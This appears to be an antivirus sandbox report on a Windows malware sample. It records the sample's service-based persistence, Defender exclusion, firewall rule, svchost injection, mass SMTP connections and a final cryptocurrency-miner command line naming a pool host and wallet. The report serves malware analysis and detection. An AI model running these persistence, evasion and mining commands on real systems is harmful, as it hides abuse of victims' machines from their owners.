Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\ufowkpsi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ufowkpsi] 'ImagePath' = '%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ufowkpsi] 'ImagePath' = '%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe'
Creates the following services
- 'ufowkpsi' %WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d"<Full path to file>"
- 'ufowkpsi' %WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ufowkpsi' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\zlwuugwy.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\zlwuugwy.exe to %WINDIR%\syswow64\ufowkpsi\zlwuugwy.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'xm###chool.cf':2222
- 'mx#######a01.gslb.pphosted.com':25
- 'fe####lobaltech.com':25
- 'm-#####erity.awrla.com':25
- 'ma###.##deralprotection.com':25
- 'mx#.##lkomsa.net':25
- 'pr####oint2.sfu.ca':25
- '15#.#40.201.174':443
- 'mx#######c03.gslb.pphosted.com':25
- 'mx#.#aiw.net':25
- 'mx#.#anmail.net':25
- 'ma##.##iversalpr.com':25
- 'gmail-smtp-in.l.google.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'ma##.gaggle.net':25
- 'sm####n.quick.cz':25
- 'mx.###brasil.com':25
- 'mx###.comcast.net':25
- 'mx#.#angia.biz':25
- 'ma####xt.rand.org':25
- 'cl#####an9.ilger.com':25
- 'fb##nc.com':25
- 'na#.###.#rotection.outlook.com':25
- 'ex#####e.lastmail.co':25
- 'mx.##.#topenworld.com':25
- 'mx#.###292-22.iphmx.com':25
- 'se####.fapam.com':25
- 'mx#######602.gslb.pphosted.com':25
- 'cu##.#onmouth.com':25
- 'mx.###difularts.com':25
- 'ma####.greeninbox.org':25
- 'mx#.#eobee.net':25
- 'mx##.m1bp.com':25
- 'ld##########g.mail.protection.outlook.com':25
- 'go##le.es':443
- 'um###########-org.mail.protection.outlook.com':25
- 'mx##.#mig.gmx.net':25
- 'mx#######f02.gslb.pphosted.com':25
- 'mx.##eugenio.it':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx.###rogetmould.it':25
- 'mx#######001.gslb.pphosted.com':25
- 'mx#######d01.gslb.pphosted.com':25
- '2n##res.org':443
- 'd1######.#ss.barracudanetworks.com':25
- 'ex#####.bpbb.bigpond.com':25
- '17#.#0.195.52':443
- 'ma##.#oletour.com':25
- 'mx.####o.locaweb.com.br':25
- 'wa####-api.btc.com':443
- 'ma##.#rodubanco.com':25
- 'r-####4.korea.com':25
- 'sp######er.stellarllc.net':25
- 'ma######k.com.1.arsmtp.com':25
- 'm.###tube.com':443
- 'mx#.#ate.com':25
- 'mx#######901.gslb.pphosted.com':25
- 'mx#######e01.gslb.pphosted.com':25
- 'sm####.eastlink.ca':25
- 'mx.##s.untd.com':25
- 'mx#.####.net.gslb.pphosted.com':25
- 'ALT1.ASPMX.L.GOOGLE.COM':25
- 'sm##.##t.microfocus.com':25
- 'mx#.#aver.com':25
- 'cx#.##.#.cloudfilter.net':25
- 'mt##.##0.yahoodns.net':25
- 'ex#######onsv.com.1.arsmtp.com':25
- 'mx#######101.gslb.pphosted.com':25
- 'zm##.##stinglotus.com':25
- 'mx.####.legalmail.it':25
- 'ma###.eircom.net':25
- 'mx.##.#tinternet.com':25
- 'mx.#len.pl':25
- 'ma####.cityofbryan.net':25
- 'mx##.#ocospace.com':25
- 'mx#.####te.mail2world.com':25
- 'ma##.##pconcepts.com':25
- 'ma####.dolphinmail.org':25
- 'mx.#####.#e.cust.b.hostedemail.com':25
- 'ex######.hardingpost.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'eu#.###.#rotection.outlook.com':25
- 'mx######91d01.pphosted.com':25
- 'mx##.mail.com':25
- 'mx.######mail.rediff.akadns.net':25
- '62.##4.41.45':484
- 'ni###eimr.cn':443
- '62.##4.41.47':428
- '62.##4.41.48':428
- '62.##4.41.46':428
- '91.#43.33.5':428
- 'mx##.#-online.de':25
- '62.##4.41.50':428
- 'em##.freenet.de':25
- 'cu#######-1.in.mailcontrol.com':25
- 'mx#######.mail.am0.yahoodns.net':25
- 'ma##.citex.com':25
- 'alt2.aspmx.l.google.com':25
- 'google.com':443
- 'mx.##wered.name':25
- 'ma###.#ailinator.com':25
- 'ma##.###ilycenteronline.com':25
- 'mx.#####.#om.cust.b.hostedemail.com':25
- 'al######x-vip1.prodigy.net':25
- 'ma##.#-email.net':25
- 'mx.###dioaverna.it':25
- 'in###gram.com':443
- 'in.###l.amis.net':25
- 'al######x-vip2.prodigy.net':25
- 'mx##.##irmontsupply.com':25
- 'mx##.###us-vadesecure.net':25
- 'mx#.##tsolmail.net':25
- 'ma####b.siol.net':25
- 'ma####.fabric.com':25
- 'ma##.#luetie.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'ASPMX.L.GOOGLE.COM':25
- '10#.#6.197.214':443
- 'google.com':80
- '62.##4.41.49':428
- 'mx###.##il.gm0.yahoodns.net':25
- 'mx.###ath-italy.com':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'ni###eimr.cn':443
- 'mx#.#anmail.net':25
- 'gmail-smtp-in.l.google.com':25
- 'ma##.gaggle.net':25
- 'sm####n.quick.cz':25
- 'cl#####an9.ilger.com':25
- 'mx#.###292-22.iphmx.com':25
- '15#.#40.201.174':443
- 'fb##nc.com':25
- 'se####.fapam.com':25
- 'cu#######-1.in.mailcontrol.com':25
- 'mx#.####.net.gslb.pphosted.com':25
- 'mx#######.mail.am0.yahoodns.net':25
- 'alt2.aspmx.l.google.com':25
- 'ma##.citex.com':25
- 'na#.###.#rotection.outlook.com':25
- 'ma###.##deralprotection.com':25
- 'xm###chool.cf':2222
- 'cu##.#onmouth.com':25
- 'mx##.m1bp.com':25
- 'fe####lobaltech.com':25
- 'go##le.es':443
- 'um###########-org.mail.protection.outlook.com':25
- 'mx#######b01.gslb.pphosted.com':25
- 'ma##.#rodubanco.com':25
- '2n##res.org':443
- 'r-####4.korea.com':25
- 'sp######er.stellarllc.net':25
- '17#.#0.195.52':443
- 'wa####-api.btc.com':443
- 'ma##.###ilycenteronline.com':25
- 'ma######k.com.1.arsmtp.com':25
- 'mx#######901.gslb.pphosted.com':25
- 'm.###tube.com':443
- 'google.com':443
- 'in###gram.com':443
- 'ma###.#ailinator.com':25
- 'ma##.#-email.net':25
- '62.##4.41.46':428
- 'mx#.#aver.com':25
- 'ex#######onsv.com.1.arsmtp.com':25
- 'mx.##.#tinternet.com':25
- 'mx.####.legalmail.it':25
- 'ma####.cityofbryan.net':25
- '62.##4.41.48':428
- 'mx##.#ocospace.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'ma##.##pconcepts.com':25
- 'mx#.####te.mail2world.com':25
- 'eu#.###.#rotection.outlook.com':25
- '62.##4.41.45':484
- 'ex######.hardingpost.com':25
- '62.##4.41.47':428
- '62.##4.41.50':428
- '62.##4.41.49':428
- 'mx###.##il.gm0.yahoodns.net':25
- 'zm##.##stinglotus.com':25
- 'd1######.#ss.barracudanetworks.com':25
- 'in.###l.amis.net':25
- 'al######x-vip2.prodigy.net':25
- 'mx##.##irmontsupply.com':25
- 'mx#.##tsolmail.net':25
- 'ma####b.siol.net':25
- 'ma####.fabric.com':25
- 'mt##.##0.yahoodns.net':25
- 'ASPMX.L.GOOGLE.COM':25
- 'ma####.dolphinmail.org':25
- 'ALT1.ASPMX.L.GOOGLE.COM':25
- '10#.#6.197.214':443
- '91.#43.33.5':428
- 'al######x-vip1.prodigy.net':25
- 'ld##########g.mail.protection.outlook.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx#.#anmail.net
- DNS ASK ka###foon.nl
- DNS ASK mx#.#aiw.net
- DNS ASK fc#.com
- DNS ASK mx#######c03.gslb.pphosted.com
- DNS ASK sf#.ca
- DNS ASK pr####oint2.sfu.ca
- DNS ASK te###msa.net
- DNS ASK mx#.##lkomsa.net
- DNS ASK fe#####construction.com
- DNS ASK ma###.##deralprotection.com
- DNS ASK re#####cservices.com
- DNS ASK ha##ail.net
- DNS ASK ya##oo.com
- DNS ASK fe####lobaltech.com
- DNS ASK ch##.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK xm###chool.cf
- DNS ASK mo###uth.com
- DNS ASK cu##.#onmouth.com
- DNS ASK co##i.net
- DNS ASK be####ularts.com
- DNS ASK mx.###difularts.com
- DNS ASK fl#####olasvegas.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK aw##a.com
- DNS ASK m-#####erity.awrla.com
- DNS ASK ma##.##iversalpr.com
- DNS ASK un###rsalpr.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK la##mail.co
- DNS ASK ex#####e.lastmail.co
- DNS ASK fb##nc.com
- DNS ASK we##v.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK wi###wslive.com
- DNS ASK ki####etes-rc.it
- DNS ASK cl#####an9.ilger.com
- DNS ASK ra##.org
- DNS ASK ma####xt.rand.org
- DNS ASK be###outh.net
- DNS ASK cm###asil.com
- DNS ASK mx.##.#topenworld.com
- DNS ASK mx.###brasil.com
- DNS ASK mx#.#angia.biz
- DNS ASK co##ast.net
- DNS ASK mx###.comcast.net
- DNS ASK qu##k.cz
- DNS ASK sm####n.quick.cz
- DNS ASK ga##le.net
- DNS ASK ma##.gaggle.net
- DNS ASK ea####npropane.com
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK ma###bank.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK gm##l.com
- DNS ASK pr##.net
- DNS ASK na##.com
- DNS ASK fo###rfarms.com
- DNS ASK mx##.mb5p.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK e-##s.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK di###enio.it
- DNS ASK mx.##eugenio.it
- DNS ASK mi###pring.com
- DNS ASK da##.net
- DNS ASK fl##e.com
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK gm#.net
- DNS ASK mx##.#mig.gmx.net
- DNS ASK um####emorial.org
- DNS ASK dg####etmould.it
- DNS ASK mx.###rogetmould.it
- DNS ASK um###########-org.mail.protection.outlook.com
- DNS ASK ld##########g.mail.protection.outlook.com
- DNS ASK mx##.m1bp.com
- DNS ASK ne##ee.net
- DNS ASK mx#.#eobee.net
- DNS ASK gr###inbox.org
- DNS ASK ma####.greeninbox.org
- DNS ASK in###gram.com
- DNS ASK in####-italy.com
- DNS ASK mx.###ath-italy.com
- DNS ASK ha###ermail.net
- DNS ASK on###nkpr.net
- DNS ASK go##le.es
- DNS ASK ld###urch.org
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK av##tas.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK kt##n.net
- DNS ASK ou##ook.fr
- DNS ASK ha##ahs.com
- DNS ASK ma###nmok.com
- DNS ASK ma######k.com.1.arsmtp.com
- DNS ASK tn##s.com
- DNS ASK sp######er.stellarllc.net
- DNS ASK ca###badusd.net
- DNS ASK ko##a.com
- DNS ASK r-####4.korea.com
- DNS ASK pr###banco.com
- DNS ASK ma##.#rodubanco.com
- DNS ASK m.###tube.com
- DNS ASK wa####-api.btc.com
- DNS ASK ma##.#oletour.com
- DNS ASK gl##o.com
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK bi###nd.net.au
- DNS ASK ex#####.bpbb.bigpond.com
- DNS ASK pe####ainternet.com
- DNS ASK bu###rdisd.net
- DNS ASK pe#####smastering.com
- DNS ASK 2n##res.org
- DNS ASK st###oaverna.it
- DNS ASK mx.###dioaverna.it
- DNS ASK ar##st.com
- DNS ASK bo###our.com
- DNS ASK bt###nworld.com
- DNS ASK mx#.#ate.com
- DNS ASK at#.com
- DNS ASK am###trade.com
- DNS ASK mx.#len.pl
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK ei##om.net
- DNS ASK ma###.eircom.net
- DNS ASK le###mail.it
- DNS ASK mx.####.legalmail.it
- DNS ASK ub##all.com
- DNS ASK zm##.##stinglotus.com
- DNS ASK jo###eere.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK mx##.#ocospace.com
- DNS ASK o2.pl
- DNS ASK ex####ationsv.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK se##na.com
- DNS ASK sm##.##t.microfocus.com
- DNS ASK ey##ea.eu
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK co###iff.org
- DNS ASK google.com
- DNS ASK ex#######onsv.com.1.arsmtp.com
- DNS ASK ro###tmail.com
- DNS ASK mo###pace.com
- DNS ASK ma####.cityofbryan.net
- DNS ASK ci###fbryan.net
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK re###fmail.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK be###outh.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK li#e.de
- DNS ASK ni###eimr.cn
- DNS ASK ha###ngpost.com
- DNS ASK ex######.hardingpost.com
- DNS ASK ex##te.it
- DNS ASK mx#.####te.mail2world.com
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ly##s.de
- DNS ASK mx.#####.#e.cust.b.hostedemail.com
- DNS ASK do###inmail.org
- DNS ASK ma####.dolphinmail.org
- DNS ASK ex###ncepts.com
- DNS ASK ma##.##pconcepts.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ASPMX.L.GOOGLE.COM
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK ba##er.com
- DNS ASK ja####coffee.com
- DNS ASK mx.##wered.name
- DNS ASK ip#.ac.nz
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK ed#.#snhid.pl
- DNS ASK ci##x.com
- DNS ASK ma##.citex.com
- DNS ASK ro##rs.com
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK bl#####onechambers.com
- DNS ASK cu#######-1.in.mailcontrol.com
- DNS ASK fr##net.de
- DNS ASK ma###.#ailinator.com
- DNS ASK ch###seo.net
- DNS ASK em##.freenet.de
- DNS ASK mx#.####.net.gslb.pphosted.com
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK ju##.com
- DNS ASK mx.##s.untd.com
- DNS ASK pe##ona.ca
- DNS ASK sm####.eastlink.ca
- DNS ASK fa##m.com
- DNS ASK se####.fapam.com
- DNS ASK pg.com
- DNS ASK mx#######602.gslb.pphosted.com
- DNS ASK in###ieros.com
- DNS ASK oc##.net
- DNS ASK ma###nator.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK ly##s.com
- DNS ASK ma##.#luetie.com
- DNS ASK ma####.fabric.com
- DNS ASK ba#####tonschools.net
- DNS ASK si##.net
- DNS ASK ma####b.siol.net
- DNS ASK ac###sia.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK ea###link.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK fa####ntsupply.com
- DNS ASK mx##.##irmontsupply.com
- DNS ASK at#.net
- DNS ASK fa##ic.com
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK in.###l.amis.net
- DNS ASK un##nps.org
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK ki##.com
- DNS ASK mx###.##il.gm0.yahoodns.net
- DNS ASK tr###npost.com
- DNS ASK ma##.#-email.net
- DNS ASK ns.net
- DNS ASK pa##ell.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK fa#####enteronline.com
- DNS ASK ma##.###ilycenteronline.com
- DNS ASK am##.net
- DNS ASK mx#.###292-22.iphmx.com
- DNS ASK on#t.pl
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ufowkpsi\zlwuugwy.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ufowkpsi\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zlwuugwy.exe" %WINDIR%\SysWOW64\ufowkpsi\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ufowkpsi binPath= "%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ufowkpsi "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ufowkpsi' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ufowkpsi\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zlwuugwy.exe" %WINDIR%\SysWOW64\ufowkpsi\
- '%WINDIR%\syswow64\sc.exe' create ufowkpsi binPath= "%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ufowkpsi "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ufowkpsi
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o xmr-school.cf:2222 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+50000 -p x -k -a cn/half